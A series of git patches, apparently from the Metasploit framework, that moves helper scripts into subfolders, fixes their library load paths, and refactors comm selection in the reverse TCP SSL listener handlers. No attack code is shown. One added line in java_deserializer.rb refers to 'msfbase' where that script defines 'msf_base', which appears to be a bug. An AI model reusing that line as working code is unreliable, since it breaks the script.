rename from tools/reg.rb rename to tools/exploit/reg.rb diff --git a/tools/virustotal.rb b/tools/exploit/virustotal.rb similarity index 100% rename from tools/virustotal.rb rename to tools/exploit/virustotal.rb diff --git a/tools/committer_count.rb b/tools/modules/committer_count.rb similarity index 100% rename from tools/committer_count.rb rename to tools/modules/committer_count.rb diff --git a/tools/missing_payload_tests.rb b/tools/modules/missing_payload_tests.rb similarity index 100% rename from tools/missing_payload_tests.rb rename to tools/modules/missing_payload_tests.rb diff --git a/tools/module_author.rb b/tools/modules/module_author.rb similarity index 100% rename from tools/module_author.rb rename to tools/modules/module_author.rb diff --git a/tools/module_commits.rb b/tools/modules/module_commits.rb similarity index 100% rename from tools/module_commits.rb rename to tools/modules/module_commits.rb diff --git a/tools/module_count.rb b/tools/modules/module_count.rb similarity index 100% rename from tools/module_count.rb rename to tools/modules/module_count.rb diff --git a/tools/module_disclodate.rb b/tools/modules/module_disclodate.rb similarity index 100% rename from tools/module_disclodate.rb rename to tools/modules/module_disclodate.rb diff --git a/tools/module_license.rb b/tools/modules/module_license.rb similarity index 100% rename from tools/module_license.rb rename to tools/modules/module_license.rb diff --git a/tools/module_mixins.rb b/tools/modules/module_mixins.rb similarity index 100% rename from tools/module_mixins.rb rename to tools/modules/module_mixins.rb diff --git a/tools/module_payloads.rb b/tools/modules/module_payloads.rb similarity index 100% rename from tools/module_payloads.rb rename to tools/modules/module_payloads.rb diff --git a/tools/module_ports.rb b/tools/modules/module_ports.rb similarity index 100% rename from tools/module_ports.rb rename to tools/modules/module_ports.rb diff --git a/tools/module_rank.rb b/tools/modules/module_rank.rb similarity index 100% rename from tools/module_rank.rb rename to tools/modules/module_rank.rb diff --git a/tools/module_reference.rb b/tools/modules/module_reference.rb similarity index 100% rename from tools/module_reference.rb rename to tools/modules/module_reference.rb diff --git a/tools/module_targets.rb b/tools/modules/module_targets.rb similarity index 100% rename from tools/module_targets.rb rename to tools/modules/module_targets.rb diff --git a/tools/msftidy.rb b/tools/modules/msftidy.rb similarity index 100% rename from tools/msftidy.rb rename to tools/modules/msftidy.rb diff --git a/tools/payload_lengths.rb b/tools/modules/payload_lengths.rb similarity index 100% rename from tools/payload_lengths.rb rename to tools/modules/payload_lengths.rb diff --git a/tools/profile.sh b/tools/modules/profile.sh similarity index 100% rename from tools/profile.sh rename to tools/modules/profile.sh diff --git a/tools/update_payload_cached_sizes.rb b/tools/modules/update_payload_cached_sizes.rb similarity index 100% rename from tools/update_payload_cached_sizes.rb rename to tools/modules/update_payload_cached_sizes.rb diff --git a/tools/verify_datastore.rb b/tools/modules/verify_datastore.rb similarity index 100% rename from tools/verify_datastore.rb rename to tools/modules/verify_datastore.rb diff --git a/tools/cpassword_decrypt.rb b/tools/password/cpassword_decrypt.rb similarity index 100% rename from tools/cpassword_decrypt.rb rename to tools/password/cpassword_decrypt.rb diff --git a/tools/halflm_second.rb b/tools/password/halflm_second.rb similarity index 100% rename from tools/halflm_second.rb rename to tools/password/halflm_second.rb diff --git a/tools/hmac_sha1_crack.rb b/tools/password/hmac_sha1_crack.rb similarity index 100% rename from tools/hmac_sha1_crack.rb rename to tools/password/hmac_sha1_crack.rb diff --git a/tools/lm2ntcrack.rb b/tools/password/lm2ntcrack.rb similarity index 100% rename from tools/lm2ntcrack.rb rename to tools/password/lm2ntcrack.rb diff --git a/tools/md5_lookup.rb b/tools/password/md5_lookup.rb similarity index 100% rename from tools/md5_lookup.rb rename to tools/password/md5_lookup.rb diff --git a/tools/vxdigger.rb b/tools/password/vxdigger.rb similarity index 100% rename from tools/vxdigger.rb rename to tools/password/vxdigger.rb diff --git a/tools/vxencrypt.rb b/tools/password/vxencrypt.rb similarity index 100% rename from tools/vxencrypt.rb rename to tools/password/vxencrypt.rb diff --git a/tools/vxmaster.rb b/tools/password/vxmaster.rb similarity index 100% rename from tools/vxmaster.rb rename to tools/password/vxmaster.rb diff --git a/tools/winscp_decrypt.rb b/tools/password/winscp_decrypt.rb similarity index 100% rename from tools/winscp_decrypt.rb rename to tools/password/winscp_decrypt.rb diff --git a/tools/google_geolocate_bssid.rb b/tools/recon/google_geolocate_bssid.rb similarity index 100% rename from tools/google_geolocate_bssid.rb rename to tools/recon/google_geolocate_bssid.rb diff --git a/tools/list_interfaces.rb b/tools/recon/list_interfaces.rb similarity index 100% rename from tools/list_interfaces.rb rename to tools/recon/list_interfaces.rb diff --git a/tools/makeiplist.rb b/tools/recon/makeiplist.rb similarity index 100% rename from tools/makeiplist.rb rename to tools/recon/makeiplist.rb From 97f07f13129615e7f9587a9e59ce522d15763fc0 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 6 Oct 2015 10:30:52 -0500 Subject: [PATCH 0843/2172] Fix base path --- tools/exploit/egghunter.rb | 3 +-- tools/exploit/exe2vba.rb | 2 +- tools/exploit/exe2vbs.rb | 2 +- tools/exploit/find_badchars.rb | 2 +- tools/exploit/java_deserializer.rb | 2 +- tools/exploit/jsobfu.rb | 2 +- tools/exploit/metasm_shell.rb | 2 +- tools/exploit/msf_irb_shell.rb | 2 +- tools/exploit/msu_finder.rb | 2 +- tools/exploit/nasm_shell.rb | 2 +- tools/exploit/pattern_create.rb | 2 +- tools/exploit/pattern_offset.rb | 2 +- tools/exploit/psexec.rb | 2 +- tools/exploit/reg.rb | 2 +- tools/exploit/virustotal.rb | 2 +- tools/modules/missing_payload_tests.rb | 2 +- tools/modules/module_author.rb | 2 +- tools/modules/module_count.rb | 2 +- tools/modules/module_disclodate.rb | 2 +- tools/modules/module_license.rb | 2 +- tools/modules/module_mixins.rb | 2 +- tools/modules/module_payloads.rb | 2 +- tools/modules/module_ports.rb | 2 +- tools/modules/module_rank.rb | 2 +- tools/modules/module_reference.rb | 2 +- tools/modules/module_targets.rb | 2 +- tools/modules/payload_lengths.rb | 2 +- tools/modules/update_payload_cached_sizes.rb | 2 +- tools/password/cpassword_decrypt.rb | 2 +- tools/password/halflm_second.rb | 2 +- tools/password/hmac_sha1_crack.rb | 2 +- tools/password/lm2ntcrack.rb | 2 +- tools/password/md5_lookup.rb | 2 +- tools/recon/google_geolocate_bssid.rb | 2 +- tools/recon/list_interfaces.rb | 2 +- tools/recon/makeiplist.rb | 2 +- 36 files changed, 36 insertions(+), 37 deletions(-) diff --git a/tools/exploit/egghunter.rb b/tools/exploit/egghunter.rb index 3ff01c8b47..48110e27f5 100755 --- a/tools/exploit/egghunter.rb +++ b/tools/exploit/egghunter.rb @@ -4,8 +4,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'msfenv' +$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) require 'rex' require 'msf/core' require 'msf/base' diff --git a/tools/exploit/exe2vba.rb b/tools/exploit/exe2vba.rb index 28f23c3acf..965e86baed 100755 --- a/tools/exploit/exe2vba.rb +++ b/tools/exploit/exe2vba.rb @@ -13,7 +13,7 @@ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) +$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/exploit/exe2vbs.rb b/tools/exploit/exe2vbs.rb index bf7918a9e5..b37f9cf2db 100755 --- a/tools/exploit/exe2vbs.rb +++ b/tools/exploit/exe2vbs.rb @@ -12,7 +12,7 @@ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) +$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/exploit/find_badchars.rb b/tools/exploit/find_badchars.rb index c26f3127b7..49c5ed2210 100755 --- a/tools/exploit/find_badchars.rb +++ b/tools/exploit/find_badchars.rb @@ -13,7 +13,7 @@ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) +$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/exploit/java_deserializer.rb b/tools/exploit/java_deserializer.rb index 3c4ffb69dc..9ba9f2e351 100755 --- a/tools/exploit/java_deserializer.rb +++ b/tools/exploit/java_deserializer.rb @@ -10,7 +10,7 @@ while File.symlink?(msf_base) msf_base = File.expand_path(File.readlink(msf_base), File.dirname(msf_base)) end -$:.unshift(File.expand_path(File.join(File.dirname(msf_base), '..', 'lib'))) +$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) require 'rex/java/serialization' require 'pp' require 'optparse' diff --git a/tools/exploit/jsobfu.rb b/tools/exploit/jsobfu.rb index 39797d0134..e491dbc54e 100755 --- a/tools/exploit/jsobfu.rb +++ b/tools/exploit/jsobfu.rb @@ -4,7 +4,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) +$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) require 'msfenv' require 'rex' require 'msf/core' diff --git a/tools/exploit/metasm_shell.rb b/tools/exploit/metasm_shell.rb index 4ef1030353..d402400d5b 100755 --- a/tools/exploit/metasm_shell.rb +++ b/tools/exploit/metasm_shell.rb @@ -20,7 +20,7 @@ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) +$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/exploit/msf_irb_shell.rb b/tools/exploit/msf_irb_shell.rb index 02ae39148a..caa6c324fa 100755 --- a/tools/exploit/msf_irb_shell.rb +++ b/tools/exploit/msf_irb_shell.rb @@ -9,7 +9,7 @@ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) +$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/exploit/msu_finder.rb b/tools/exploit/msu_finder.rb index 2365a2ea4d..b6d510e1dc 100755 --- a/tools/exploit/msu_finder.rb +++ b/tools/exploit/msu_finder.rb @@ -14,7 +14,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) +$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) require 'rex' require 'nokogiri' require 'uri' diff --git a/tools/exploit/nasm_shell.rb b/tools/exploit/nasm_shell.rb index e3fc10e53f..f2f3ce652e 100755 --- a/tools/exploit/nasm_shell.rb +++ b/tools/exploit/nasm_shell.rb @@ -14,7 +14,7 @@ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) +$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/exploit/pattern_create.rb b/tools/exploit/pattern_create.rb index 540e546568..4ef9f64b1e 100755 --- a/tools/exploit/pattern_create.rb +++ b/tools/exploit/pattern_create.rb @@ -9,7 +9,7 @@ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) +$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/exploit/pattern_offset.rb b/tools/exploit/pattern_offset.rb index ff13d8ce4f..be9f10908b 100755 --- a/tools/exploit/pattern_offset.rb +++ b/tools/exploit/pattern_offset.rb @@ -7,7 +7,7 @@ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) +$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/exploit/psexec.rb b/tools/exploit/psexec.rb index 290cf14ae9..08fc874c4e 100755 --- a/tools/exploit/psexec.rb +++ b/tools/exploit/psexec.rb @@ -9,7 +9,7 @@ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) +$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/exploit/reg.rb b/tools/exploit/reg.rb index dbb764e983..636619828b 100755 --- a/tools/exploit/reg.rb +++ b/tools/exploit/reg.rb @@ -12,7 +12,7 @@ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) +$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/exploit/virustotal.rb b/tools/exploit/virustotal.rb index 132b8b6bb5..a4209a7a00 100755 --- a/tools/exploit/virustotal.rb +++ b/tools/exploit/virustotal.rb @@ -33,7 +33,7 @@ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) +$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) require 'msfenv' require 'rex' require 'msf/core' diff --git a/tools/modules/missing_payload_tests.rb b/tools/modules/missing_payload_tests.rb index df1986859e..7e8c427741 100755 --- a/tools/modules/missing_payload_tests.rb +++ b/tools/modules/missing_payload_tests.rb @@ -10,7 +10,7 @@ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) +$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) require 'msfenv' require 'msf/core' require 'msf/base' diff --git a/tools/modules/module_author.rb b/tools/modules/module_author.rb index 8deefe6fcd..3a87b7fb85 100755 --- a/tools/modules/module_author.rb +++ b/tools/modules/module_author.rb @@ -12,7 +12,7 @@ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) +$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/modules/module_count.rb b/tools/modules/module_count.rb index 4a6740dd5c..1cadf7b6e3 100755 --- a/tools/modules/module_count.rb +++ b/tools/modules/module_count.rb @@ -7,7 +7,7 @@ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) +$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/modules/module_disclodate.rb b/tools/modules/module_disclodate.rb index 60f322a684..8de4e68959 100755 --- a/tools/modules/module_disclodate.rb +++ b/tools/modules/module_disclodate.rb @@ -11,7 +11,7 @@ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) +$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/modules/module_license.rb b/tools/modules/module_license.rb index 5ac9df31d9..651cf101e2 100755 --- a/tools/modules/module_license.rb +++ b/tools/modules/module_license.rb @@ -12,7 +12,7 @@ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) +$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/modules/module_mixins.rb b/tools/modules/module_mixins.rb index 80426f2db1..ca704a5333 100755 --- a/tools/modules/module_mixins.rb +++ b/tools/modules/module_mixins.rb @@ -12,7 +12,7 @@ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) +$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/modules/module_payloads.rb b/tools/modules/module_payloads.rb index a801805a1d..b3350aa389 100755 --- a/tools/modules/module_payloads.rb +++ b/tools/modules/module_payloads.rb @@ -12,7 +12,7 @@ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) +$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/modules/module_ports.rb b/tools/modules/module_ports.rb index c3ec02f4eb..7502f1010f 100755 --- a/tools/modules/module_ports.rb +++ b/tools/modules/module_ports.rb @@ -12,7 +12,7 @@ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) +$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/modules/module_rank.rb b/tools/modules/module_rank.rb index 1d199d8e0d..ceffd91400 100755 --- a/tools/modules/module_rank.rb +++ b/tools/modules/module_rank.rb @@ -12,7 +12,7 @@ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) +$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/modules/module_reference.rb b/tools/modules/module_reference.rb index f678f81d77..0f106cc63b 100755 --- a/tools/modules/module_reference.rb +++ b/tools/modules/module_reference.rb @@ -8,7 +8,7 @@ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) +$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/modules/module_targets.rb b/tools/modules/module_targets.rb index 7876553798..f5ee44cc17 100755 --- a/tools/modules/module_targets.rb +++ b/tools/modules/module_targets.rb @@ -12,7 +12,7 @@ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) +$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/modules/payload_lengths.rb b/tools/modules/payload_lengths.rb index 7a30e1dff0..0e175fac94 100755 --- a/tools/modules/payload_lengths.rb +++ b/tools/modules/payload_lengths.rb @@ -12,7 +12,7 @@ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) +$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/modules/update_payload_cached_sizes.rb b/tools/modules/update_payload_cached_sizes.rb index 1a9d97acaa..5328afcc7e 100755 --- a/tools/modules/update_payload_cached_sizes.rb +++ b/tools/modules/update_payload_cached_sizes.rb @@ -8,7 +8,7 @@ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) +$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/password/cpassword_decrypt.rb b/tools/password/cpassword_decrypt.rb index 3a1343268d..5d54f3270c 100755 --- a/tools/password/cpassword_decrypt.rb +++ b/tools/password/cpassword_decrypt.rb @@ -37,7 +37,7 @@ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) +$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) require 'msfenv' require 'rex' diff --git a/tools/password/halflm_second.rb b/tools/password/halflm_second.rb index cc3a83bd0e..5bfa44dfb8 100755 --- a/tools/password/halflm_second.rb +++ b/tools/password/halflm_second.rb @@ -15,7 +15,7 @@ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) +$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/password/hmac_sha1_crack.rb b/tools/password/hmac_sha1_crack.rb index 87ef46d20a..2359f01249 100755 --- a/tools/password/hmac_sha1_crack.rb +++ b/tools/password/hmac_sha1_crack.rb @@ -15,7 +15,7 @@ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) +$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/password/lm2ntcrack.rb b/tools/password/lm2ntcrack.rb index 28a3e6f701..57d9ad0adc 100755 --- a/tools/password/lm2ntcrack.rb +++ b/tools/password/lm2ntcrack.rb @@ -13,7 +13,7 @@ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) +$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/password/md5_lookup.rb b/tools/password/md5_lookup.rb index 8c1203698c..0514d8e9f2 100755 --- a/tools/password/md5_lookup.rb +++ b/tools/password/md5_lookup.rb @@ -31,7 +31,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) +$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) require 'msfenv' require 'rex' require 'msf/core' diff --git a/tools/recon/google_geolocate_bssid.rb b/tools/recon/google_geolocate_bssid.rb index 1c93b47150..fc2e23737f 100755 --- a/tools/recon/google_geolocate_bssid.rb +++ b/tools/recon/google_geolocate_bssid.rb @@ -8,7 +8,7 @@ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end -$LOAD_PATH.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) +$LOAD_PATH.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..','lib'))) require 'rex/google/geolocation' require 'optparse' diff --git a/tools/recon/list_interfaces.rb b/tools/recon/list_interfaces.rb index d792bf2e9c..c2dcc3e58e 100755 --- a/tools/recon/list_interfaces.rb +++ b/tools/recon/list_interfaces.rb @@ -14,7 +14,7 @@ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) +$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..','lib'))) require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/recon/makeiplist.rb b/tools/recon/makeiplist.rb index 70ff4a055f..dbeb7e83eb 100755 --- a/tools/recon/makeiplist.rb +++ b/tools/recon/makeiplist.rb @@ -18,7 +18,7 @@ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) +$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) require 'msfenv' require 'rex' require 'optparse' From 645a59349af79b5e3c7b2bd9f6333dff8c85b08b Mon Sep 17 00:00:00 2001 From: James Lee Date: Tue, 6 Oct 2015 14:33:22 -0500 Subject: [PATCH 0844/2172] Select comm in ReverseTcpDoubleSsl as well And don't extend the comm object, that gets handled by the Rex::Socket system if it's necessary. --- lib/msf/core/handler/reverse_tcp_double_ssl.rb | 13 ++++--------- lib/msf/core/handler/reverse_tcp_ssl.rb | 1 - 2 files changed, 4 insertions(+), 10 deletions(-) diff --git a/lib/msf/core/handler/reverse_tcp_double_ssl.rb b/lib/msf/core/handler/reverse_tcp_double_ssl.rb index d6650f5264..ebb4120275 100644 --- a/lib/msf/core/handler/reverse_tcp_double_ssl.rb +++ b/lib/msf/core/handler/reverse_tcp_double_ssl.rb @@ -33,7 +33,7 @@ module ReverseTcpDoubleSSL end # - # Initializes the reverse TCP handler and ads the options that are required + # Initializes the reverse TCP handler and adds the options that are required # for all reverse TCP payloads, like local host and local port. # def initialize(info = {}) @@ -68,20 +68,15 @@ module ReverseTcpDoubleSSL ex = false - comm = datastore['ReverseListenerComm'] - if comm.to_s == "local" - comm = ::Rex::Socket::Comm::Local - else - comm = nil - end - + # Identify the comm to use from + # Msf::Handler::ReverseTcpComm.select_comm + comm = select_comm local_port = bind_port addrs = bind_address addrs.each { |ip| begin - comm.extend(Rex::Socket::SslTcp) self.listener_sock = Rex::Socket::SslTcpServer.create( 'LocalHost' => ip, 'LocalPort' => local_port, diff --git a/lib/msf/core/handler/reverse_tcp_ssl.rb b/lib/msf/core/handler/reverse_tcp_ssl.rb index 705e2e7b71..6b90476515 100644 --- a/lib/msf/core/handler/reverse_tcp_ssl.rb +++ b/lib/msf/core/handler/reverse_tcp_ssl.rb @@ -71,7 +71,6 @@ module ReverseTcpSsl addrs.each { |ip| begin - comm.extend(Rex::Socket::SslTcp) self.listener_sock = Rex::Socket::SslTcpServer.create( 'LocalHost' => ip, 'LocalPort' => local_port, From 711ce1e579352b30685252b91bab7f2e29870b99 Mon Sep 17 00:00:00 2001 From: James Lee Date: Tue, 6 Oct 2015 14:48:49 -0500 Subject: [PATCH 0845/2172] Move ReverseTcpComm to a new directory Reverse::Comm --- .../core/handler/{reverse_tcp_comm.rb => reverse/comm.rb} | 8 +++++--- lib/msf/core/handler/reverse_tcp.rb | 5 +---- lib/msf/core/handler/reverse_tcp_double.rb | 3 ++- lib/msf/core/handler/reverse_tcp_double_ssl.rb | 3 +-- lib/msf/core/handler/reverse_tcp_ssl.rb | 3 --- 5 files changed, 9 insertions(+), 13 deletions(-) rename lib/msf/core/handler/{reverse_tcp_comm.rb => reverse/comm.rb} 